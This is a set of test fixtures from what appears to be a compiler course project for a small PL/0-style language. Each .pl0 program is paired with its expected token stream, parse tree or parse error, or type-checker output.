-------------------------------------------------------------------------------- 1 | IF 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/int.pl0: -------------------------------------------------------------------------------- 1 | int 2 | -------------------------------------------------------------------------------- /project/tests/project1/int.tokens: -------------------------------------------------------------------------------- 1 | INT 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/isprime.pl0: -------------------------------------------------------------------------------- 1 | function isprime(param : int) : bool 2 | var x : int 3 | begin 4 | if param < 1 then 5 | return false 6 | else if (param = 1) or (param = 2) then 7 | return true 8 | 9 | x := 2 10 | while x < param do 11 | begin 12 | if param % x = 0 then 13 | begin 14 | return false 15 | end 16 | 17 | x := x + 1 18 | end 19 | 20 | return true 21 | end 22 | 23 | begin 24 | write isprime(1) 25 | write isprime(2) 26 | write isprime(3) 27 | write isprime(4) 28 | write isprime(5) 29 | end 30 | -------------------------------------------------------------------------------- /project/tests/project1/isprime.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT isprime 3 | LPAREN 4 | IDENT param 5 | COLON 6 | INT 7 | RPAREN 8 | COLON 9 | BOOL 10 | VAR 11 | IDENT x 12 | COLON 13 | INT 14 | BEGIN 15 | IF 16 | IDENT param 17 | LT 18 | NUMBER 1 19 | THEN 20 | RETURN 21 | FALSE 22 | ELSE 23 | IF 24 | LPAREN 25 | IDENT param 26 | EQ 27 | NUMBER 1 28 | RPAREN 29 | OR 30 | LPAREN 31 | IDENT param 32 | EQ 33 | NUMBER 2 34 | RPAREN 35 | THEN 36 | RETURN 37 | TRUE 38 | IDENT x 39 | ASSIGN 40 | NUMBER 2 41 | WHILE 42 | IDENT x 43 | LT 44 | IDENT param 45 | DO 46 | BEGIN 47 | IF 48 | IDENT param 49 | MOD 50 | IDENT x 51 | EQ 52 | NUMBER 0 53 | THEN 54 | BEGIN 55 | RETURN 56 | FALSE 57 | END 58 | IDENT x 59 | ASSIGN 60 | IDENT x 61 | PLUS 62 | NUMBER 1 63 | END 64 | RETURN 65 | TRUE 66 | END 67 | BEGIN 68 | WRITE 69 | IDENT isprime 70 | LPAREN 71 | NUMBER 1 72 | RPAREN 73 | WRITE 74 | IDENT isprime 75 | LPAREN 76 | NUMBER 2 77 | RPAREN 78 | WRITE 79 | IDENT isprime 80 | LPAREN 81 | NUMBER 3 82 | RPAREN 83 | WRITE 84 | IDENT isprime 85 | LPAREN 86 | NUMBER 4 87 | RPAREN 88 | WRITE 89 | IDENT isprime 90 | LPAREN 91 | NUMBER 5 92 | RPAREN 93 | END 94 | EOT 95 | -------------------------------------------------------------------------------- /project/tests/project1/lparen.pl0: -------------------------------------------------------------------------------- 1 | ( 2 | -------------------------------------------------------------------------------- /project/tests/project1/lparen.tokens: -------------------------------------------------------------------------------- 1 | LPAREN 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/lt.pl0: -------------------------------------------------------------------------------- 1 | < 2 | -------------------------------------------------------------------------------- /project/tests/project1/lt.tokens: -------------------------------------------------------------------------------- 1 | LT 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/lte.pl0: -------------------------------------------------------------------------------- 1 | <= 2 | -------------------------------------------------------------------------------- /project/tests/project1/lte.tokens: -------------------------------------------------------------------------------- 1 | LTE 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/minus.pl0: -------------------------------------------------------------------------------- 1 | - 2 | -------------------------------------------------------------------------------- /project/tests/project1/minus.tokens: -------------------------------------------------------------------------------- 1 | MINUS 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/mod.pl0: -------------------------------------------------------------------------------- 1 | % 2 | -------------------------------------------------------------------------------- /project/tests/project1/mod.tokens: -------------------------------------------------------------------------------- 1 | MOD 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/mult.pl0: -------------------------------------------------------------------------------- 1 | * 2 | -------------------------------------------------------------------------------- /project/tests/project1/mult.tokens: -------------------------------------------------------------------------------- 1 | MULT 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/neq.pl0: -------------------------------------------------------------------------------- 1 | <> 2 | -------------------------------------------------------------------------------- /project/tests/project1/neq.tokens: -------------------------------------------------------------------------------- 1 | NEQ 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/nested.pl0: -------------------------------------------------------------------------------- 1 | var global : int 2 | var retval : int 3 | function f(param : int) : int 4 | var local : int 5 | begin 6 | local := 3 7 | write global 8 | write param 9 | write local 10 | end 11 | begin 12 | global := 1 13 | retval := f(2) 14 | # f(2) 15 | write global 16 | end 17 | -------------------------------------------------------------------------------- /project/tests/project1/nested.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT global 3 | COLON 4 | INT 5 | VAR 6 | IDENT retval 7 | COLON 8 | INT 9 | FUNC 10 | IDENT f 11 | LPAREN 12 | IDENT param 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | VAR 19 | IDENT local 20 | COLON 21 | INT 22 | BEGIN 23 | IDENT local 24 | ASSIGN 25 | NUMBER 3 26 | WRITE 27 | IDENT global 28 | WRITE 29 | IDENT param 30 | WRITE 31 | IDENT local 32 | END 33 | BEGIN 34 | IDENT global 35 | ASSIGN 36 | NUMBER 1 37 | IDENT retval 38 | ASSIGN 39 | IDENT f 40 | LPAREN 41 | NUMBER 2 42 | RPAREN 43 | WRITE 44 | IDENT global 45 | END 46 | EOT 47 | -------------------------------------------------------------------------------- /project/tests/project1/not.pl0: -------------------------------------------------------------------------------- 1 | not 2 | -------------------------------------------------------------------------------- /project/tests/project1/not.tokens: -------------------------------------------------------------------------------- 1 | NOT 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/number.pl0: -------------------------------------------------------------------------------- 1 | 123 2 | -------------------------------------------------------------------------------- /project/tests/project1/number.tokens: -------------------------------------------------------------------------------- 1 | NUMBER 123 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/number0.pl0: -------------------------------------------------------------------------------- 1 | 1 2 | -------------------------------------------------------------------------------- /project/tests/project1/number0.tokens: -------------------------------------------------------------------------------- 1 | NUMBER 1 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/or.pl0: -------------------------------------------------------------------------------- 1 | or 2 | -------------------------------------------------------------------------------- /project/tests/project1/or.tokens: -------------------------------------------------------------------------------- 1 | OR 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/plus.pl0: -------------------------------------------------------------------------------- 1 | + 2 | -------------------------------------------------------------------------------- /project/tests/project1/plus.tokens: -------------------------------------------------------------------------------- 1 | PLUS 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/pow.pl0: -------------------------------------------------------------------------------- 1 | # for simplicity: power should be non-negative 2 | function pow(base : int, power : int) : int 3 | var x : int 4 | begin 5 | if power < 1 then 6 | return 1 7 | 8 | while power > 1 do 9 | begin 10 | base := base * base 11 | power := power - 1 12 | end 13 | 14 | return base 15 | end 16 | 17 | begin 18 | write pow(1, 10) 19 | write pow(2, 0) 20 | write pow(2, 1) 21 | write pow(2, 2) 22 | write pow(2, 3) 23 | write pow(10, 0) 24 | write pow(10, 1) 25 | write pow(10, 2) 26 | write pow(10, 3) 27 | end -------------------------------------------------------------------------------- /project/tests/project1/pow.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT pow 3 | LPAREN 4 | IDENT base 5 | COLON 6 | INT 7 | COMMA 8 | IDENT power 9 | COLON 10 | INT 11 | RPAREN 12 | COLON 13 | INT 14 | VAR 15 | IDENT x 16 | COLON 17 | INT 18 | BEGIN 19 | IF 20 | IDENT power 21 | LT 22 | NUMBER 1 23 | THEN 24 | RETURN 25 | NUMBER 1 26 | WHILE 27 | IDENT power 28 | GT 29 | NUMBER 1 30 | DO 31 | BEGIN 32 | IDENT base 33 | ASSIGN 34 | IDENT base 35 | MULT 36 | IDENT base 37 | IDENT power 38 | ASSIGN 39 | IDENT power 40 | MINUS 41 | NUMBER 1 42 | END 43 | RETURN 44 | IDENT base 45 | END 46 | BEGIN 47 | WRITE 48 | IDENT pow 49 | LPAREN 50 | NUMBER 1 51 | COMMA 52 | NUMBER 10 53 | RPAREN 54 | WRITE 55 | IDENT pow 56 | LPAREN 57 | NUMBER 2 58 | COMMA 59 | NUMBER 0 60 | RPAREN 61 | WRITE 62 | IDENT pow 63 | LPAREN 64 | NUMBER 2 65 | COMMA 66 | NUMBER 1 67 | RPAREN 68 | WRITE 69 | IDENT pow 70 | LPAREN 71 | NUMBER 2 72 | COMMA 73 | NUMBER 2 74 | RPAREN 75 | WRITE 76 | IDENT pow 77 | LPAREN 78 | NUMBER 2 79 | COMMA 80 | NUMBER 3 81 | RPAREN 82 | WRITE 83 | IDENT pow 84 | LPAREN 85 | NUMBER 10 86 | COMMA 87 | NUMBER 0 88 | RPAREN 89 | WRITE 90 | IDENT pow 91 | LPAREN 92 | NUMBER 10 93 | COMMA 94 | NUMBER 1 95 | RPAREN 96 | WRITE 97 | IDENT pow 98 | LPAREN 99 | NUMBER 10 100 | COMMA 101 | NUMBER 2 102 | RPAREN 103 | WRITE 104 | IDENT pow 105 | LPAREN 106 | NUMBER 10 107 | COMMA 108 | NUMBER 3 109 | RPAREN 110 | END 111 | EOT 112 | -------------------------------------------------------------------------------- /project/tests/project1/read.pl0: -------------------------------------------------------------------------------- 1 | read 2 | -------------------------------------------------------------------------------- /project/tests/project1/read.tokens: -------------------------------------------------------------------------------- 1 | READ 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/recursion.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int) : int 2 | begin 3 | if x > 0 then 4 | f(x - 1) 5 | return 0 6 | end 7 | begin 8 | f(2) 9 | end 10 | -------------------------------------------------------------------------------- /project/tests/project1/recursion.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT f 3 | LPAREN 4 | IDENT x 5 | COLON 6 | INT 7 | RPAREN 8 | COLON 9 | INT 10 | BEGIN 11 | IF 12 | IDENT x 13 | GT 14 | NUMBER 0 15 | THEN 16 | IDENT f 17 | LPAREN 18 | IDENT x 19 | MINUS 20 | NUMBER 1 21 | RPAREN 22 | RETURN 23 | NUMBER 0 24 | END 25 | BEGIN 26 | IDENT f 27 | LPAREN 28 | NUMBER 2 29 | RPAREN 30 | END 31 | EOT 32 | -------------------------------------------------------------------------------- /project/tests/project1/return.pl0: -------------------------------------------------------------------------------- 1 | return 2 | -------------------------------------------------------------------------------- /project/tests/project1/return.tokens: -------------------------------------------------------------------------------- 1 | RETURN 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/rparen.pl0: -------------------------------------------------------------------------------- 1 | ) 2 | -------------------------------------------------------------------------------- /project/tests/project1/rparen.tokens: -------------------------------------------------------------------------------- 1 | RPAREN 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/spacing.pl0: -------------------------------------------------------------------------------- 1 | begin 3 2 2 | b 3 | -------------------------------------------------------------------------------- /project/tests/project1/spacing.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | NUMBER 3 3 | NUMBER 2 4 | IDENT b 5 | EOT 6 | -------------------------------------------------------------------------------- /project/tests/project1/then.pl0: -------------------------------------------------------------------------------- 1 | then 2 | -------------------------------------------------------------------------------- /project/tests/project1/then.tokens: -------------------------------------------------------------------------------- 1 | THEN 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/true.pl0: -------------------------------------------------------------------------------- 1 | true 2 | -------------------------------------------------------------------------------- /project/tests/project1/true.tokens: -------------------------------------------------------------------------------- 1 | TRUE 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/var.pl0: -------------------------------------------------------------------------------- 1 | var 2 | -------------------------------------------------------------------------------- /project/tests/project1/var.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/while.pl0: -------------------------------------------------------------------------------- 1 | while 2 | -------------------------------------------------------------------------------- /project/tests/project1/while.tokens: -------------------------------------------------------------------------------- 1 | WHILE 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/write.pl0: -------------------------------------------------------------------------------- 1 | write 2 | -------------------------------------------------------------------------------- /project/tests/project1/write.tokens: -------------------------------------------------------------------------------- 1 | WRITE 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project2/error_colon_is_missing.ast: -------------------------------------------------------------------------------- 1 | expected token: COLON 2 | parse error on INT 3 | -------------------------------------------------------------------------------- /project/tests/project2/error_colon_is_missing.pl0: -------------------------------------------------------------------------------- 1 | var x int 2 | 3 | -------------------------------------------------------------------------------- /project/tests/project2/error_do_token_missing.ast: -------------------------------------------------------------------------------- 1 | expected token: DO 2 | parse error on WRITE 3 | -------------------------------------------------------------------------------- /project/tests/project2/error_do_token_missing.pl0: -------------------------------------------------------------------------------- 1 | while (3 > 9) 2 | write 3 3 | 4 | 5 | -------------------------------------------------------------------------------- /project/tests/project2/exprlist.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = CallStatement 6 | | | | call_function = x 7 | | | | call_parameters = ExpressionList 8 | | | | | BinaryExpression 9 | | | | | | binary_op = GT 10 | | | | | | binary_left = VariableFactor 11 | | | | | | | variable = x 12 | | | | | | binary_right = NumberFactor 13 | | | | | | | number_value = 2 14 | | | | | BinaryExpression 15 | | | | | | binary_op = OR 16 | | | | | | binary_left = BinaryExpression 17 | | | | | | | binary_op = AND 18 | | | | | | | binary_left = VariableFactor 19 | | | | | | | | variable = s 20 | | | | | | | binary_right = NumberFactor 21 | | | | | | | | number_value = 3 22 | | | | | | binary_right = NumberFactor 23 | | | | | | | number_value = 6 24 | | | | | BinaryExpression 25 | | | | | | binary_op = LTE 26 | | | | | | binary_left = VariableFactor 27 | | | | | | | variable = f 28 | | | | | | binary_right = NumberFactor 29 | | | | | | | number_value = 3 30 | -------------------------------------------------------------------------------- /project/tests/project2/exprlist.pl0: -------------------------------------------------------------------------------- 1 | x(x > 2 , s and 3 or 6 , f <= 3) 2 | -------------------------------------------------------------------------------- /project/tests/project2/factor_false.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = BooleanFactor 7 | | | | | boolean_value = false 8 | -------------------------------------------------------------------------------- /project/tests/project2/factor_false.pl0: -------------------------------------------------------------------------------- 1 | write false 2 | -------------------------------------------------------------------------------- /project/tests/project2/factor_ident.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = VariableFactor 7 | | | | | variable = s2 8 | -------------------------------------------------------------------------------- /project/tests/project2/factor_ident.pl0: -------------------------------------------------------------------------------- 1 | write s2 2 | -------------------------------------------------------------------------------- /project/tests/project2/factor_not.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = UnaryExpression 7 | | | | | unary_op = NOT 8 | | | | | unary_expression = BooleanFactor 9 | | | | | | boolean_value = true 10 | -------------------------------------------------------------------------------- /project/tests/project2/factor_not.pl0: -------------------------------------------------------------------------------- 1 | write not true 2 | -------------------------------------------------------------------------------- /project/tests/project2/factor_number.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = NumberFactor 7 | | | | | number_value = 1000 8 | -------------------------------------------------------------------------------- /project/tests/project2/factor_number.pl0: -------------------------------------------------------------------------------- 1 | write 1000 2 | -------------------------------------------------------------------------------- /project/tests/project2/factor_paren.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = BinaryExpression 7 | | | | | binary_op = PLUS 8 | | | | | binary_left = VariableFactor 9 | | | | | | variable = x 10 | | | | | binary_right = VariableFactor 11 | | | | | | variable = y 12 | -------------------------------------------------------------------------------- /project/tests/project2/factor_paren.pl0: -------------------------------------------------------------------------------- 1 | write (x + y) 2 | -------------------------------------------------------------------------------- /project/tests/project2/factor_true.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = BooleanFactor 7 | | | | | boolean_value = true 8 | -------------------------------------------------------------------------------- /project/tests/project2/factor_true.pl0: -------------------------------------------------------------------------------- 1 | write true 2 | -------------------------------------------------------------------------------- /project/tests/project2/formals.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | | FuncDecl 6 | | | | | identifier = empty 7 | | | | | formals = TypedIdentList 8 | | | | | | TypedIdent 9 | | | | | | | identifier = x 10 | | | | | | | type = BOOL 11 | | | | | | TypedIdent 12 | | | | | | | identifier = y 13 | | | | | | | type = INT 14 | | | | | has_return = false 15 | | | | | return_type = 16 | | | | | block = Block 17 | | | | | | vardecls = TypedIdentList 18 | | | | | | funcdecls = FuncDeclList 19 | | | | | | statement = ReturnStatement 20 | | | | | | | return_expression = NumberFactor 21 | | | | | | | | number_value = 1 22 | | | statement = WriteStatement 23 | | | | write_expression = NumberFactor 24 | | | | | number_value = 1 25 | -------------------------------------------------------------------------------- /project/tests/project2/formals.pl0: -------------------------------------------------------------------------------- 1 | function empty(x : bool , y : int) 2 | return 1 3 | 4 | write 1 5 | -------------------------------------------------------------------------------- /project/tests/project2/funcdels.ast: -------------------------------------------------------------------------------- 1 | parse error on EOT 2 | -------------------------------------------------------------------------------- /project/tests/project2/funcdels.pl0: -------------------------------------------------------------------------------- 1 | function f (y : int) : bool 2 | begin 3 | if y > 0 then 4 | return true 5 | else 6 | return false 7 | end 8 | -------------------------------------------------------------------------------- /project/tests/project2/statement_assign.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = AssignStatement 6 | | | | assign_variable = x 7 | | | | assign_expression = BinaryExpression 8 | | | | | binary_op = PLUS 9 | | | | | binary_left = VariableFactor 10 | | | | | | variable = x 11 | | | | | binary_right = BinaryExpression 12 | | | | | | binary_op = MULT 13 | | | | | | binary_left = NumberFactor 14 | | | | | | | number_value = 123 15 | | | | | | binary_right = BinaryExpression 16 | | | | | | | binary_op = MINUS 17 | | | | | | | binary_left = NumberFactor 18 | | | | | | | | number_value = 17 19 | | | | | | | binary_right = NumberFactor 20 | | | | | | | | number_value = 3 21 | -------------------------------------------------------------------------------- /project/tests/project2/statement_assign.pl0: -------------------------------------------------------------------------------- 1 | x := x + 123 * (17 - 3) 2 | -------------------------------------------------------------------------------- /project/tests/project2/statement_begin.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = CompoundStatement 6 | | | | compound_statement = StatementList 7 | | | | | AssignStatement 8 | | | | | | assign_variable = a 9 | | | | | | assign_expression = BinaryExpression 10 | | | | | | | binary_op = PLUS 11 | | | | | | | binary_left = VariableFactor 12 | | | | | | | | variable = a 13 | | | | | | | binary_right = NumberFactor 14 | | | | | | | | number_value = 2 15 | -------------------------------------------------------------------------------- /project/tests/project2/statement_begin.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | a := a + 2 3 | end 4 | -------------------------------------------------------------------------------- /project/tests/project2/statement_call.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = CallStatement 6 | | | | call_function = ident 7 | | | | call_parameters = ExpressionList 8 | | | | | BinaryExpression 9 | | | | | | binary_op = PLUS 10 | | | | | | binary_left = VariableFactor 11 | | | | | | | variable = i 12 | | | | | | binary_right = VariableFactor 13 | | | | | | | variable = j 14 | -------------------------------------------------------------------------------- /project/tests/project2/statement_call.pl0: -------------------------------------------------------------------------------- 1 | ident (i + j) 2 | -------------------------------------------------------------------------------- /project/tests/project2/statement_ifelse.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = IfStatement 6 | | | | if_condition = BinaryExpression 7 | | | | | binary_op = GT 8 | | | | | binary_left = VariableFactor 9 | | | | | | variable = a 10 | | | | | binary_right = NumberFactor 11 | | | | | | number_value = 0 12 | | | | if_branch = ReturnStatement 13 | | | | | return_expression = BinaryExpression 14 | | | | | | binary_op = MULT 15 | | | | | | binary_left = VariableFactor 16 | | | | | | | variable = a 17 | | | | | | binary_right = NumberFactor 18 | | | | | | | number_value = 2 19 | | | | if_elsebranch = ReturnStatement 20 | | | | | return_expression = BinaryExpression 21 | | | | | | binary_op = PLUS 22 | | | | | | binary_left = VariableFactor 23 | | | | | | | variable = a 24 | | | | | | binary_right = NumberFactor 25 | | | | | | | number_value = 2 26 | -------------------------------------------------------------------------------- /project/tests/project2/statement_ifelse.pl0: -------------------------------------------------------------------------------- 1 | if a > 0 then 2 | return a * 2 3 | else 4 | return a + 2 5 | 6 | -------------------------------------------------------------------------------- /project/tests/project2/statement_read.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = ReadStatement 6 | | | | read_variable = y 7 | -------------------------------------------------------------------------------- /project/tests/project2/statement_read.pl0: -------------------------------------------------------------------------------- 1 | read y 2 | -------------------------------------------------------------------------------- /project/tests/project2/statement_return.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = ReturnStatement 6 | | | | return_expression = BooleanFactor 7 | | | | | boolean_value = true 8 | -------------------------------------------------------------------------------- /project/tests/project2/statement_return.pl0: -------------------------------------------------------------------------------- 1 | return true 2 | -------------------------------------------------------------------------------- /project/tests/project2/statement_while.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WhileStatement 6 | | | | while_condition = BinaryExpression 7 | | | | | binary_op = GT 8 | | | | | binary_left = VariableFactor 9 | | | | | | variable = a 10 | | | | | binary_right = NumberFactor 11 | | | | | | number_value = 0 12 | | | | while_body = AssignStatement 13 | | | | | assign_variable = a 14 | | | | | assign_expression = BinaryExpression 15 | | | | | | binary_op = PLUS 16 | | | | | | binary_left = VariableFactor 17 | | | | | | | variable = a 18 | | | | | | binary_right = NumberFactor 19 | | | | | | | number_value = 1 20 | -------------------------------------------------------------------------------- /project/tests/project2/statement_while.pl0: -------------------------------------------------------------------------------- 1 | while a > 0 do 2 | a := a + 1 3 | 4 | -------------------------------------------------------------------------------- /project/tests/project2/statement_write.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = BinaryExpression 7 | | | | | binary_op = PLUS 8 | | | | | binary_left = VariableFactor 9 | | | | | | variable = x 10 | | | | | binary_right = NumberFactor 11 | | | | | | number_value = 1 12 | -------------------------------------------------------------------------------- /project/tests/project2/statement_write.pl0: -------------------------------------------------------------------------------- 1 | write x + 1 2 | -------------------------------------------------------------------------------- /project/tests/project2/vardecls.ast: -------------------------------------------------------------------------------- 1 | parse error on EOT 2 | -------------------------------------------------------------------------------- /project/tests/project2/vardecls.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | -------------------------------------------------------------------------------- /project/tests/project3/assignment.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : int 3 | x := x + y 4 | -------------------------------------------------------------------------------- /project/tests/project3/assignment.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @0 3 | y : int @0 4 | TranslationUnit 5 | | scope = 6 | | block = Block 7 | | | vardecls = TypedIdentList 8 | | | | TypedIdent 9 | | | | | symbol = .x 10 | | | | | identifier = x 11 | | | | | type = INT 12 | | | | TypedIdent 13 | | | | | symbol = .y 14 | | | | | identifier = y 15 | | | | | type = INT 16 | | | funcdecls = FuncDeclList 17 | | | statement = AssignStatement 18 | | | | assign_symbol = .x 19 | | | | assign_variable = x 20 | | | | assign_expression = BinaryExpression 21 | | | | | ershov = 2 22 | | | | | datatype = int 23 | | | | | binary_op = PLUS 24 | | | | | binary_left = VariableFactor 25 | | | | | | ershov = 1 26 | | | | | | datatype = int 27 | | | | | | variable_symbol = .x 28 | | | | | | variable = x 29 | | | | | binary_right = VariableFactor 30 | | | | | | ershov = 1 31 | | | | | | datatype = int 32 | | | | | | variable_symbol = .y 33 | | | | | | variable = y 34 | -------------------------------------------------------------------------------- /project/tests/project3/error_incorrect_op.pl0: -------------------------------------------------------------------------------- 1 | var x : bool 2 | x := x + 1 3 | 4 | -------------------------------------------------------------------------------- /project/tests/project3/error_incorrect_op.types: -------------------------------------------------------------------------------- 1 | type error: operand(s) do not match in expression 2 | -------------------------------------------------------------------------------- /project/tests/project3/error_incorrect_type_assign.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : bool 3 | x := y 4 | 5 | -------------------------------------------------------------------------------- /project/tests/project3/error_incorrect_type_assign.types: -------------------------------------------------------------------------------- 1 | type error: incorrect type assigned to variable 2 | -------------------------------------------------------------------------------- /project/tests/project3/error_return_type.pl0: -------------------------------------------------------------------------------- 1 | function f() 2 | begin 3 | return true 4 | end 5 | f() 6 | 7 | -------------------------------------------------------------------------------- /project/tests/project3/error_return_type.types: -------------------------------------------------------------------------------- 1 | type error: type of return value does not match function 2 | -------------------------------------------------------------------------------- /project/tests/project3/fuction_param_type.pl0: -------------------------------------------------------------------------------- 1 | function f(a : int, b : bool) : bool 2 | begin 3 | return (a > 3) and not b 4 | end 5 | f(3, true) 6 | -------------------------------------------------------------------------------- /project/tests/project3/function_retrun_int.pl0: -------------------------------------------------------------------------------- 1 | function x (s : int) : int 2 | begin 3 | return s + 3 4 | end 5 | x(3) 6 | -------------------------------------------------------------------------------- /project/tests/project3/function_return_bool.pl0: -------------------------------------------------------------------------------- 1 | function t(s : bool) : bool 2 | begin 3 | return not s 4 | end 5 | t(false) 6 | -------------------------------------------------------------------------------- /project/tests/project3/function_return_bool.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | t : (bool) -> bool @0 3 | scope: t, level: 1 4 | s : bool @0 5 | TranslationUnit 6 | | scope = 7 | | block = Block 8 | | | vardecls = TypedIdentList 9 | | | funcdecls = FuncDeclList 10 | | | | FuncDecl 11 | | | | | scope = t 12 | | | | | symbol = .t 13 | | | | | identifier = t 14 | | | | | formals = TypedIdentList 15 | | | | | | TypedIdent 16 | | | | | | | symbol = t.s 17 | | | | | | | identifier = s 18 | | | | | | | type = BOOL 19 | | | | | has_return = true 20 | | | | | return_type = BOOL 21 | | | | | block = Block 22 | | | | | | vardecls = TypedIdentList 23 | | | | | | funcdecls = FuncDeclList 24 | | | | | | statement = CompoundStatement 25 | | | | | | | compound_statement = StatementList 26 | | | | | | | | ReturnStatement 27 | | | | | | | | | function_symbol = .t 28 | | | | | | | | | return_expression = UnaryExpression 29 | | | | | | | | | | ershov = 1 30 | | | | | | | | | | datatype = bool 31 | | | | | | | | | | unary_op = NOT 32 | | | | | | | | | | unary_expression = VariableFactor 33 | | | | | | | | | | | ershov = 1 34 | | | | | | | | | | | datatype = bool 35 | | | | | | | | | | | variable_symbol = t.s 36 | | | | | | | | | | | variable = s 37 | | | statement = CallStatement 38 | | | | call_symbol = .t 39 | | | | call_function = t 40 | | | | call_parameters = ExpressionList 41 | | | | | BooleanFactor 42 | | | | | | ershov = 1 43 | | | | | | datatype = bool 44 | | | | | | boolean_value = false 45 | -------------------------------------------------------------------------------- /project/tests/project3/glob_loc_vars.pl0: -------------------------------------------------------------------------------- 1 | var x : bool 2 | var y : int 3 | 4 | function f(x : int , y : bool) : bool 5 | begin 6 | return not y 7 | end 8 | 9 | f(2 , true) 10 | -------------------------------------------------------------------------------- /project/tests/project3/nested_func_vars.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int) : bool 2 | function g(x : bool) : bool 3 | begin 4 | return not x 5 | end 6 | begin 7 | g(x >= 3) 8 | end 9 | f(10) 10 | 11 | -------------------------------------------------------------------------------- /project/tests/project3/params.pl0: -------------------------------------------------------------------------------- 1 | function a(i : int, j : int, k : bool) 2 | begin 3 | write k 4 | end 5 | a(1, 2, true) 6 | -------------------------------------------------------------------------------- /project/tests/project3/var_bool.pl0: -------------------------------------------------------------------------------- 1 | var x : bool 2 | write x <> true 3 | -------------------------------------------------------------------------------- /project/tests/project3/var_bool.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : bool @0 3 | TranslationUnit 4 | | scope = 5 | | block = Block 6 | | | vardecls = TypedIdentList 7 | | | | TypedIdent 8 | | | | | symbol = .x 9 | | | | | identifier = x 10 | | | | | type = BOOL 11 | | | funcdecls = FuncDeclList 12 | | | statement = WriteStatement 13 | | | | write_expression = BinaryExpression 14 | | | | | ershov = 2 15 | | | | | datatype = bool 16 | | | | 